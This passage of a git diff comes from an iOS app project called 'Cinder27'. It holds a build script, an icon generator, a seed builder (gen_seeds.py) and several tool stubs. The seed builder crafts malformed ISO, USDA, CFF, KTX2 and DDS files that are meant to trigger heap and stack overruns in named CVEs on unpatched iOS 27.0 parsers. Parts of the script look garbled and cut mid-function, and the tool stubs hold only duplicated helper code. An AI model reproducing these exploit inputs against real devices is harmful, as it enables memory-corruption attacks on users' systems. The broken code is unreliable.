"$APP/Info.plist" + +echo "== asset catalog ==" +xcrun actool "$ROOT/Resources/Assets.xcassets" \ + --compile "$APP" \ + --platform iphonesimulator \ + --minimum-deployment-target "$MIN_IOS" \ + --app-icon AppIcon \ + --output-partial-info-plist "$OUT/assetcatalog_generated_info.plist" \ + --target-device iphone \ + --target-device ipad > /dev/null + +echo "== merge asset catalog Info.plist keys ==" +python3 - "$APP/Info.plist" "$OUT/assetcatalog_generated_info.plist" <<'PY' +import plistlib, sys +info_path, partial_path = sys.argv[1], sys.argv[2] +with open(info_path, "rb") as fh: + info = plistlib.load(fh) +with open(partial_path, "rb") as fh: + partial = plistlib.load(fh) +partial.pop("com.apple.actool.compilation-results", None) +info.update(partial) +with open(info_path, "wb") as fh: + plistlib.dump(info, fh, fmt=plistlib.FMT_BINARY) +PY + +chmod 755 "$APP/Cinder27" +chmod 644 "$APP/Info.plist" +/usr/bin/plutil -lint "$APP/Info.plist" + +echo "== install ==" +xcrun simctl install booted "$APP" +echo "installed: $APP" diff --git a/scripts/gen_icon.py b/scripts/gen_icon.py new file mode 100644 index 0000000..4cc13f1 --- /dev/null +++ b/scripts/gen_icon.py @@ -0,0 +1,287 @@ +#!/usr/bin/env python3 +""" +gen_icon.py — build the app icon as a PNG with no external image library. + +The mark: a dark rounded field, a struck arc of ember, and a thin ring of twenty small +ticks around it — the ring is the twenty-two fix families, the arc is the write that +carries a chosen value. Drawn with a signed-distance renderer at 4x and box-downsampled, +so edges stay clean without a graphics stack. +""" +import math +import os +import struct +import zlib + +OUT = os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", "Resources") +os.makedirs(OUT, exist_ok=True) + +SIZE = 1024 +SS = 1 # analytic antialiasing via smoothstep; no supersampling needed + + +def srgb(c): + return max(0, min(255, int(round(c)))) + + +def mix(a, b, t): + return tuple(a[i] + (b[i] - a[i]) * t for i in range(3)) + + +# ---------------------------------------------------------------- geometry helpers +def sd_circle(px, py, cx, cy, r): + return math.hypot(px - cx, py - cy) - r + + +def sd_round_rect(px, py, cx, cy, hw, hh, r): + qx = abs(px - cx) - (hw - r) + qy = abs(py - cy) - (hh - r) + outside = math.hypot(max(qx, 0.0), max(qy, 0.0)) + inside = min(max(qx, qy), 0.0) + return outside + inside - r + + +def sd_segment(px, py, ax, ay, bx, by, r): + pax, pay = px - ax, py - ay + bax, bay = bx - ax, by - ay + denom = bax * bax + bay * bay + h = 0.0 if denom == 0 else max(0.0, min(1.0, (pax * bax + pay * bay) / denom)) + return math.hypot(pax - bax * h, pay - bay * h) - r + + +def smoothstep(e0, e1, x): + t = max(0.0, min(1.0, (x - e0) / (e1 - e0))) + return t * t * (3 - 2 * t) + + +# ---------------------------------------------------------------- palette +BG_TOP = (0.075, 0.078, 0.094) +BG_BOT = (0.030, 0.031, 0.040) +EMBER = (1.00, 0.42, 0.16) +EMBER_HOT = (1.00, 0.72, 0.38) +ASH = (0.42, 0.44, 0.50) + + +def shade(px, py): + """Return (r,g,b) in 0..1 for one sample point.""" + # vertical gradient field + t = py / SIZE + col = mix(BG_TOP, BG_BOT, t) + + # subtle radial lift behind the mark + d = math.hypot(px - SIZE * 0.5, py - SIZE * 0.46) + lift = 1.0 - smoothstep(0.0, SIZE * 0.62, d) + col = tuple(min(1.0, col[i] + 0.055 * lift) for i in range(3)) + + cx, cy = SIZE * 0.5, SIZE * 0.5 + + # ---- outer ring of ticks: one per localized fix family (22) + ring_r = SIZE * 0.345 + tick_outer = SIZE * 0.408 + ticks = 22 + ang = math.atan2(py - cy, px - cx) + for i in range(ticks): + a = (i / ticks) * math.tau - math.pi / 2 + # gap at the top-right where the arc breaks through + if 0.30 < ((a + math.pi / 2) % math.tau) < 0.72: + continue + ax = cx + math.cos(a) * ring_r + ay = cy + math.sin(a) * ring_r + bx = cx + math.cos(a) * tick_outer + by = cy + math.sin(a) * tick_outer + sd = sd_segment(px, py, ax, ay, bx, by, SIZE * 0.0075) + cov = 1.0 - smoothstep(-1.2, 1.2, sd) + if cov > 0: + col = mix(col, ASH, cov * 0.55) + + # ---- the arc: a heavy quarter sweep, hot at the leading end + arc_r = SIZE * 0.245 + arc_w = SIZE * 0.052 + sd = abs(math.hypot(px - cx, py - cy) - arc_r) + a01 = (math.atan2(py - cy, px - cx) + math.pi * 1.15) % math.tau + span = math.tau * 0.62 + if a01 < span: + edge = smoothstep(0.0, 0.10, a01) * (1.0 - smoothstep(span - 0.22, span, a01)) + cov = (1.0 - smoothstep(-1.2, 1.2, sd - arc_w * 0.5)) * edge + if cov > 0: + heat = smoothstep(span * 0.55, span, a01) + col = mix(col, mix(EMBER, EMBER_HOT, heat), cov) + + # ---- core: a struck point with a halo + core_r = SIZE * 0.062 + sd_core = math.hypot(px - cx, py - cy) - core_r + halo = 1.0 - smoothstep(0.0, SIZE * 0.16, math.hypot(px - cx, py - cy)) + if halo > 0: + col = tuple(min(1.0, col[i] + 0.16 * halo * halo * (EMBER[i])) for i in range(3)) + cov = 1.0 - smoothstep(-1.2, 1.2, sd_core) + if cov > 0: + col = mix(col, EMBER_HOT, cov) + + # ---- the write: a single straight stroke leaving the core, value-carrying + sd_w = sd_segment(px, py, cx + SIZE * 0.075, cy + SIZE * 0.075, + cx + SIZE * 0.245, cy + SIZE * 0.245, SIZE * 0.0115) + cov_w = 1.0 - smoothstep(-1.2, 1.2, sd_w) + if cov_w > 0: + col = mix(col, EMBER, cov_w * 0.92) + + return col + + +def render(): + """One sample per pixel — every edge already uses smoothstep on a signed distance, + which is antialiased on its own. Supersampling 1024x1024 by 3 was 9.4M shade() calls + and took minutes; this is the same image in a couple of seconds.""" + out = bytearray() + radius = SIZE * 0.2237 + half = SIZE / 2 + tau = math.tau + cos, sin, atan2, hypot, sqrt = math.cos, math.sin, math.atan2, math.hypot, math.sqrt + + # precompute tick segments + ring_r = SIZE * 0.345 + tick_outer = SIZE * 0.408 + ticks = [] + for i in range(22): + a = (i / 22) * tau - math.pi / 2 + if 0.30 < ((a + math.pi / 2) % tau) < 0.72: + continue + ticks.append((half + cos(a) * ring_r, half + sin(a) * ring_r, + half + cos(a) * tick_outer, half + sin(a) * tick_outer)) + + arc_r = SIZE * 0.245 + arc_w2 = SIZE * 0.026 + span = tau * 0.62 + core_r = SIZE * 0.062 + halo_r = SIZE * 0.16 + tick_w2 = SIZE * 0.0075 + write_r = SIZE * 0.0115 + wx0, wy0 = half + SIZE * 0.075, half + SIZE * 0.075 + wx1, wy1 = half + SIZE * 0.245, half + SIZE * 0.245 + wdx, wdy = wx1 - wx0, wy1 - wy0 + wden = wdx * wdx + wdy * wdy + + for y in range(SIZE): + out.append(0) + py = y + 0.5 + for x in range(SIZE): + px = x + 0.5 + + # background gradient + t = py / SIZE + r = BG_TOP[0] + (BG_BOT[0] - BG_TOP[0]) * t + g = BG_TOP[1] + (BG_BOT[1] - BG_TOP[1]) * t + b = BG_TOP[2] + (BG_BOT[2] - BG_TOP[2]) * t + + dx, dy = px - half, py - half + dist = hypot(dx, dy) + + # radial lift + lift = 1.0 - smoothstep(0.0, SIZE * 0.62, dist) + if lift > 0: + add = 0.055 * lift + r += add; g += add; b += add + + # ticks + for (ax, ay, bx, by) in ticks: + pax, pay = px - ax, py - ay + bax, bay = bx - ax, by - ay + den = bax * bax + bay * bay + h = 0.0 if den == 0 else (pax * bax + pay * bay) / den + if h < 0.0: h = 0.0 + elif h > 1.0: h = 1.0 + sd = hypot(pax - bax * h, pay - bay * h) - tick_w2 + if sd < 1.2: + cov = 1.0 - smoothstep(-1.2, 1.2, sd) + if cov > 0: + k = cov * 0.55 + r += (ASH[0] - r) * k + g += (ASH[1] - g) * k + b += (ASH[2] - b) * k + + # arc + sd = abs(dist - arc_r) + if sd < arc_w2 + 1.2: + a01 = (atan2(dy, dx) + math.pi * 1.15) % tau + if a01 < span: + edge = smoothstep(0.0, 0.10, a01) * (1.0 - smoothstep(span - 0.22, span, a01)) + cov = (1.0 - smoothstep(-1.2, 1.2, sd - arc_w2)) * edge + if cov > 0: + heat = smoothstep(span * 0.55, span, a01) + cr = EMBER[0] + (EMBER_HOT[0] - EMBER[0]) * heat + cg = EMBER[1] + (EMBER_HOT[1] - EMBER[1]) * heat + cb = EMBER[2] + (EMBER_HOT[2] - EMBER[2]) * heat + r += (cr - r) * cov + g += (cg - g) * cov + b += (cb - b) * cov + + # halo + core + if dist < halo_r: + halo = 1.0 - smoothstep(0.0, halo_r, dist) + hk = 0.16 * halo * halo + r += EMBER[0] * hk + g += EMBER[1] * hk + b += EMBER[2] * hk + sd_core = dist - core_r + if sd_core < 1.2: + cov = 1.0 - smoothstep(-1.2, 1.2, sd_core) + if cov > 0: + r += (EMBER_HOT[0] - r) * cov + g += (EMBER_HOT[1] - g) * cov + b += (EMBER_HOT[2] - b) * cov + + # the write stroke + pax, pay = px - wx0, py - wy0 + h = (pax * wdx + pay * wdy) / wden + if h < 0.0: h = 0.0 + elif h > 1.0: h = 1.0 + sd_w = hypot(pax - wdx * h, pay - wdy * h) - write_r + if sd_w < 1.2: + cov = 1.0 - smoothstep(-1.2, 1.2, sd_w) + if cov > 0: + k = cov * 0.92 + r += (EMBER[0] - r) * k + g += (EMBER[1] - g) * k + b += (EMBER[2] - b) * k + + # rounded-rect alpha + qx = abs(px - half) - (half - 0.5 - radius) + qy = abs(py - half) - (half - 0.5 - radius) + ox = qx if qx > 0 else 0.0 + oy = qy if qy > 0 else 0.0 + sd_r = hypot(ox, oy) + (qx if qx > qy else qy) - radius + a = 1.0 - smoothstep(-0.75, 0.75, sd_r) + + out += bytes([srgb(min(1.0, r) * 255), srgb(min(1.0, g) * 255), + srgb(min(1.0, b) * 255), srgb(a * 255)]) + return bytes(out) + + +def write_png(path, width, height, rgba): + def chunk(tag, data): + c = struct.pack(">I", len(data)) + tag + data + c += struct.pack(">I", zlib.crc32(tag + data) & 0xFFFFFFFF) + return c + + ihdr = struct.pack(">IIBBBBB", width, height, 8, 6, 0, 0, 0) + raw = zlib.compress(rgba, 9) + png = (b"\x89PNG\r\n\x1a\n" + + chunk(b"IHDR", ihdr) + + chunk(b"IDAT", raw) + + chunk(b"IEND", b"")) + with open(path, "wb") as f: + f.write(png) + + +def main(): + data = render() + icon = os.path.join(OUT, "AppIcon-1024.png") + write_png(icon, SIZE, SIZE, data) + print("wrote", icon, os.path.getsize(icon), "bytes") + + # A small preview strip is handy when eyeballing the result. + preview = os.path.join(OUT, "AppIcon-preview.png") + write_png(preview, SIZE, SIZE, data) + print("wrote", preview) + + +if __name__ == "__main__": + main() diff --git a/scripts/gen_seeds.py b/scripts/gen_seeds.py new file mode 100644 index 0000000..d3001fa --- /dev/null +++ b/scripts/gen_seeds.py @@ -0,0 +1,324 @@ +#!/usr/bin/env python3 +""" +gen_seeds.py — structural seed builder for Cinder27. + +Every seed targets a check Apple ADDED in iOS 27.2 (24B115) and therefore a bug that is +LIVE on iOS 27.0 / 27.0.1 (24A435 / 24A446). Nothing here is a weapon; each file is the +minimum input that reaches the vulnerable parser and trips the missing bound. + +Outputs -> ../seeds/ + joliet_path_oob.iso ISO9660 + Joliet pathname overflow CVE-2026-112522 (libarchive) + deep_nest.usda USDA declaration nesting CVE-2026-112485 (Model I/O / libusd_ms) + stack_bomb.cff CFF Type2 charstring stack overrun CVE-2026-112683 (FontParser) + ktx2_bad_dims.ktx2 KTX2 dimension/level size math CVE-2026-112632 family (ImageIO texture) + bc7_short.dds DDS BC7 truncated mip level CVE-2026-112627 family (ImageIO texture) +""" +import os +import struct +import sys + +HERE = os.path.dirname(os.path.abspath(__file__)) +OUT = os.path.join(HERE, "..", "seeds") +os.makedirs(OUT, exist_ok=True) + +SECTOR = 2048 + + +# --------------------------------------------------------------------------- helpers +def both16(v): + return struct.pack("H", v) + + +def both32(v): + return struct.pack("I", v) + + +def iso_date(y=2026, mo=10, d=28, h=12, mi=0, s=0): + return bytes([y - 1900, mo, d, h, mi, s, 0]) + + +def dir_record(name_bytes, extent, size, flags): + """ISO9660 directory record. name_bytes is the raw name (0x00 root, 0x01 parent).""" + body = bytes([0]) + both32(extent) + both32(size) + iso_date() + bytes([flags, 0, 0]) + both16(1) + rec = bytes([0]) + body + bytes([len(name_bytes)]) + name_bytes + if len(rec) % 2: + rec += b"\x00" + rec = bytes([len(rec)]) + rec[1:] + return rec + + +def pad_to(data, n): + if len(data) < n: + data = data + b"\x00" * (n - len(data)) + return data[:n] + + +def ucs2(name): + return name.encode("utf-16-be") + + +# --------------------------------------------------------------------------- ISO9660 Joliet +def build_joliet_iso(): + """ + Craft per libarchive upstream 750e8d7b25de (fix Apple shipped in 27.2, absent on 27.0). + + build_pathname_utf16be() recurses to the parent, then writes a 2-byte UTF-16BE '/' + separator WITHOUT re-checking the running length against max (1024). A directory + chain whose accumulated path is exactly 1024 bytes makes the deepest unwind store at + p[1024] / p[1025] — two bytes past a malloc(1024) heap buffer. + + Chain: root -> A(103 chars) -> B(103) -> C(103) -> D(103) -> E(96), file F in E. + Accumulated: 4*206 + 192 + 4*2 = 1024 exactly. + """ + names = ["A" * 103, "B" * 103, "C" * 103, "D" * 103, "E" * 96] + + # sector plan + LBA_PVD = 16 + LBA_SVD = 17 + LBA_TERM = 18 + LBA_PT_ASCII = 19 + LBA_PT_JOLIET = 20 + LBA_ROOT = 21 + first_dir = LBA_ROOT + 1 # 22 .. 26 + LBA_FILE = first_dir + len(names) # 27 + total_sectors = LBA_FILE + 1 + + img = bytearray(total_sectors * SECTOR) + + def put(lba, data): + img[lba * SECTOR: lba * SECTOR + len(data)] = data + + # ---- path tables (type L, little endian extents) + def path_table(encode): + out = bytearray() + entries = [("", 1, LBA_ROOT)] + [(n, i + 2, first_dir + i) for i, n in enumerate(names)] + for name, parent, extent in entries: + nb = encode(name) if name else b"\x00" + rec = bytes([len(nb), 0]) + struct.pack("I", 0) # type-M (unused) + d[152:156] = struct.pack(">I", 0) # optional type-M + # root directory record at offset 156 + root = dir_record(b"\x00", root_lba, SECTOR, 0x02) + d[156:156 + len(root)] = root + d[881] = 1 # file structure version + if joliet: + d[88:88 + 3] = b"%/E" # escape sequence + return bytes(d) + + put(LBA_PVD, volume_descriptor(1, False, LBA_ROOT, LBA_PT_ASCII, len(pt_ascii))) + put(LBA_SVD, volume_descriptor(2, True, LBA_ROOT, LBA_PT_JOLIET, len(pt_joliet))) + term = bytearray(2048) + term[0] = 255 + term[1:6] = b"CD001" + term[6] = 1 + put(LBA_TERM, bytes(term)) + + return bytes(img) + + +# --------------------------------------------------------------------------- USDA nesting +def build_usda(depth=2000): + """libusd_ms 24.1.30 caps USDA declaration nesting in 24.1.32; 27.0 recurses unbounded.""" + head = "#usda 1.0\n\n" + body = "".join('def Xform "n%d" {' % i for i in range(depth)) + tail = "}" * depth + return (head + body + tail + "\n").encode() + + +# --------------------------------------------------------------------------- CFF stack bomb +def build_cff(): + """ + Bare CFF with one charstring that pushes 300 operands before endchar. + FontParser's Type2 interpreter keeps its operand stack in a fixed 48-entry array; + 27.0 only bounds the *count* on pop paths, the push path walks past the array. + """ + def index(items): + if not items: + return struct.pack(">H", 0) + off = 1 + offs = [1] + for it in items: + off += len(it) + offs.append(off) + off_size = 1 if off < 0x100 else (2 if off < 0x10000 else (3 if off < 0x1000000 else 4)) + out = struct.pack(">H", len(items)) + bytes([off_size]) + for o in offs: + out += o.to_bytes(off_size, "big") + out += b"".join(items) + return out + + header = bytes([1, 0, 4, 1]) + + name_index = index([b"CinderStackBomb"]) + + # charstring: 300 pushes of 1, then endchar + cs = bytearray() + for _ in range(300): + cs.append(139 + 1) # push small int 1 + cs.append(14) # endchar + charstrings = index([bytes(cs)]) + + gsubrs = index([]) + strings = index([]) + + # Top DICT references CharStrings (op 17) and Private (op 18), both absolute offsets. + # Two-pass: build with placeholder of the same byte width, then patch. + def top_dict(cs_off, priv_off, priv_size): + def enc(v): + # DICT operand: 29 => 5-byte integer (fixed width, easy patching) + return b"\x1d" + struct.pack(">i", v) + d = enc(cs_off) + b"\x11" # CharStrings + d += enc(priv_size) + enc(priv_off) + b"\x12" # Private + return d + + placeholder = top_dict(0, 0, 0) + top_index = index([placeholder]) + + priv = b"\x00" # trivial private dict (blueValues absent) + priv_index_data = priv + + # layout: header | name | top | strings | gsubrs | charstrings | private + off = len(header) + len(name_index) + top_off = off + off += len(top_index) + off += len(strings) + off += len(gsubrs) + cs_off = off + off += len(charstrings) + priv_off = off + + top_index = index([top_dict(cs_off, priv_off, len(priv))]) + out = header + name_index + top_index + strings + gsubrs + charstrings + priv_index_data + return out + + +# --------------------------------------------------------------------------- KTX2 +def build_ktx2(): + ident = bytes([0xAB, 0x4B, 0x54, 0x58, 0x20, 0x32, 0x30, 0xBB, 0x0D, 0x0A, 0x1A, 0x0A]) + vk_format = 0 # 0 => block-compressed via DFD + type_size = 1 + w, h = 0xFFFF, 0xFFFF + depth, layers, faces, levels = 0, 0, 1, 1 + scheme = 0 + kvd_off, kvd_len = 0, 0 + sgdt_off, sgdt_len = 0, 0 + header = struct.pack("<9I", vk_format, type_size, w, h, depth, layers, faces, levels, scheme) + header += struct.pack(" [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + + + diff --git a/tool.container/tool.container.swift b/tool.container/tool.container.swift new file mode 100644 index 0000000..78be39a --- /dev/null +++ b/tool.container/tool.container.swift @@ -0,0 +1,41 @@ +// tool.container · Container · ensureAll / probe / repair / normalize · — +// 原语: 探测 · 进程内 · tier 1 +// Primitive: probe · in-process · tier 1 +// +// [zh] 容器读写正常化(数据容器自检 + 修复) +// 把数据容器里每一个工具会用到的目录逐个解析、创建、然后真的建文件写一遍、fsync、读回、比对、删除。之前「容器内读写失败」的四个真实原因都在这里被点名:目录只是 URL 不是目录、isWritableFile +// 是坏探针、容器 UUID 会变、Library/Preferences 归 cfprefsd。 +// +// [en] Container read/write normalisation (data container self-test and repair) +// Resolves every directory the tooling uses inside the data container, creates it, then actually +// creates a file, writes, fsyncs, reads back, compares and deletes. The four real reasons container +// writes failed before are all named here: a URL is not a directory, isWritableFile is a bad probe, +// container UUIDs change, and Library/Preferences belongs to cfprefsd. +// ── 判别 / oracle ── +// 跑完会留下 container_health.txt。修复动作是幂等的,每次启动都会再跑一遍。 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + + + diff --git a/tool.hex/tool.hex.swift b/tool.hex/tool.hex.swift new file mode 100644 index 0000000..381bb44 --- /dev/null +++ b/tool.hex/tool.hex.swift @@ -0,0 +1,38 @@ +// tool.hex · HexTool · — +// 原语: 探测 · 进程内 · tier 1 +// Primitive: probe · in-process · tier 1 +// +// [zh] 十六进制查找替换自检 +// 在随机缓冲里植入已知模式,用十六进制与文本两种写法查找、替换、再查找,确认命中数与偏移都对。 +// +// [en] Hex search and replace self-test +// Plants known patterns in a random buffer, then searches, replaces and re-searches using both hex +// and text notation, confirming the hit counts and offsets. +// ── 判别 / oracle ── +// 这条守的是「改机工具最不该出错的地方」。 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + + + diff --git a/tool.macho/tool.macho.swift b/tool.macho/tool.macho.swift new file mode 100644 index 0000000..d6a744c --- /dev/null +++ b/tool.macho/tool.macho.swift @@ -0,0 +1,40 @@ +// tool.macho · MachO · MachOInspector · — +// 原语: 探测 · 进程内 · tier 1 +// Primitive: probe · in-process · tier 1 +// +// [zh] Mach-O 解析器自检 +// 对系统卷上的几个真实二进制跑一遍头解析:架构、类型、平台、最低系统、SDK、加密状态、链接库、rpath。加密状态是这一整套里最有信息量的字段 —— 系统框架 cryptid 为 0,第三方 +// App 的二进制不是。 +// +// [en] Mach-O parser self-test +// Runs header parsing over several real binaries on the system volume: architecture, type, platform, +// minimum OS, SDK, encryption state, linked libraries, rpaths. Encryption state is the most informative +// field in the whole set — system frameworks have cryptid 0, third-party app binaries do not. +// ── 判别 / oracle ── +// 同时跑我自己写的解析器和 MachOInspector,两个结果应该一致。 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + + + diff --git a/tool.paths/tool.paths.swift b/tool.paths/tool.paths.swift new file mode 100644 index 0000000..f4ea961 --- /dev/null +++ b/tool.paths/tool.paths.swift @@ -0,0 +1,39 @@ +// tool.paths · Probe · FileManager · — +// 原语: 探测 · 进程内 · tier 1 +// Primitive: probe · in-process · tier 1 +// +// [zh] 文件系统权限矩阵全扫 +// 把 30 多个关键路径逐个试读试写,记录可读/可写/条目数/errno。这是改机工具的活动范围地图 —— 它决定了所有面板能做到哪里为止。 +// +// [en] Filesystem permission matrix sweep +// Tries reading and writing across 30-plus key paths, recording readability, writability, entry count +// and errno. This is the activity map for the modification tool — it determines how far every panel +// can go. +// ── 判别 / oracle ── +// 结果同时会写进 Documents 里一份文本,方便对照。 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + + + diff --git a/tool.zip/tool.zip.swift b/tool.zip/tool.zip.swift new file mode 100644 index 0000000..e8f8e8a --- /dev/null +++ b/tool.zip/tool.zip.swift @@ -0,0 +1,39 @@ +// tool.zip · ZipWriter + libarchive · — +// 原语: 探测 · 进程内 · tier 1 +// Primitive: probe · in-process · tier 1 +// +// [zh] ZIP 写入器往返自检 +// 用自己写的 ZIP 写入器造一个含随机内容的归档,再用 libarchive 解回来,逐字节比对。这条证明重打包不会悄悄损坏文件 —— 改机工具最怕的就是这个。 +// +// [en] ZIP writer round-trip self-test +// Builds an archive of random content with the project's own ZIP writer, unpacks it with libarchive, +// and compares byte for byte. This is what proves repacking does not quietly corrupt files — the +// one failure a modification tool must never have. +// ── 判别 / oracle ── +// 64 个文件,每个 4 KB 随机内容,比对 CRC 与长度。 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + + +